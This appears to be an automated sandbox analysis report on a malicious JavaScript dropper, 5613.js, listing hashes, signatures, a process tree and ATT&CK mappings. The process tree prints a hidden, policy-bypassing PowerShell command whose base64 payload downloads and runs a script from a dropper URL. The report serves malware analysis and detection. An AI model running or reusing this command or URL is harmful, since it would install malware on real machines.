924b39a646b7ba75fff348033897597b52f1a81af1830beeb279dca1556bd39b

General

Target

5613.js
Size

137KB
MD5

220af76150e7b8e51b12c322002d36db
SHA1

b5befee69c32ecaa162808192f3c0f42cde731cd
SHA256

924b39a646b7ba75fff348033897597b52f1a81af1830beeb279dca1556bd39b
SHA512

d540686c0415d11be1bd65e1f55313ee0e0a7bd543eda231188daee9a39aa5c2471b19e730b74a397d5d5826e7c9ee21e86f2168b696c7ff8e5a8b7a261b2328

Score

10^/10

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

https://jolantagraban.pl/log/57843441668980/dll/assistant.php

Signatures

Blocklisted process makes network request 1 IoCs

Processes:

powershell.exe

flow	pid	Process
7	1528	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 2 IoCs

Processes:

powershell.exe

pid	Process
1528	powershell.exe
1528	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes:

powershell.exe

description	pid	Process
Token: SeDebugPrivilege	1528	powershell.exe

Suspicious use of WriteProcessMemory 6 IoCs

Processes:

wscript.execmd.exe

description	pid	Process	procid_target
PID 1652 wrote to memory of 1544	1652	wscript.exe	29
PID 1652 wrote to memory of 1544	1652	wscript.exe	29
PID 1652 wrote to memory of 1544	1652	wscript.exe	29
PID 1544 wrote to memory of 1528	1544	cmd.exe	31
PID 1544 wrote to memory of 1528	1544	cmd.exe	31
PID 1544 wrote to memory of 1528	1544	cmd.exe	31

C:\Windows\system32\wscript.exe
wscript.exe C:\Users\Admin\AppData\Local\Temp\5613.js
1⤵
- Suspicious use of WriteProcessMemory
PID:1652
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c poWERshEll -nop -w hidden -ep bypass -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwBqAG8AbABhAG4AdABhAGcAcgBhAGIAYQBuAC4AcABsAC8AbABvAGcALwA1ADcAOAA0ADMANAA0ADEANgA2ADgAOQA4ADAALwBkAGwAbAAvAGEAcwBzAGkAcwB0AGEAbgB0AC4AcABoAHAAIgApAA==
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1544
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    poWERshEll -nop -w hidden -ep bypass -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwBqAG8AbABhAG4AdABhAGcAcgBhAGIAYQBuAC4AcABsAC8AbABvAGcALwA1ADcAOAA0ADMANAA0ADEANgA2ADgAOQA4ADAALwBkAGwAbAAvAGEAcwBzAGkAcwB0AGEAbgB0AC4AcABoAHAAIgApAA==
    3⤵
    - Blocklisted process makes network request
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:1528

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

1

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

memory/1528-61-0x0000000000000000-mapping.dmp

Download
memory/1528-62-0x000007FEFBED1000-0x000007FEFBED3000-memory.dmp

Filesize
8KB

Download
memory/1528-63-0x0000000002460000-0x0000000002461000-memory.dmp

Filesize
4KB

Download
memory/1528-64-0x000000001AA70000-0x000000001AA71000-memory.dmp

Filesize
4KB

Download
memory/1528-65-0x000000001A9F0000-0x000000001A9F2000-memory.dmp

Filesize
8KB

Download
memory/1528-66-0x000000001A9F4000-0x000000001A9F6000-memory.dmp

Filesize
8KB

Download
memory/1528-67-0x0000000002530000-0x0000000002531000-memory.dmp

Filesize
4KB

Download
memory/1528-68-0x0000000002560000-0x0000000002561000-memory.dmp

Filesize
4KB

Download
memory/1528-69-0x000000001C310000-0x000000001C311000-memory.dmp

Filesize
4KB

Download
memory/1544-60-0x0000000000000000-mapping.dmp

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v6

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Downloads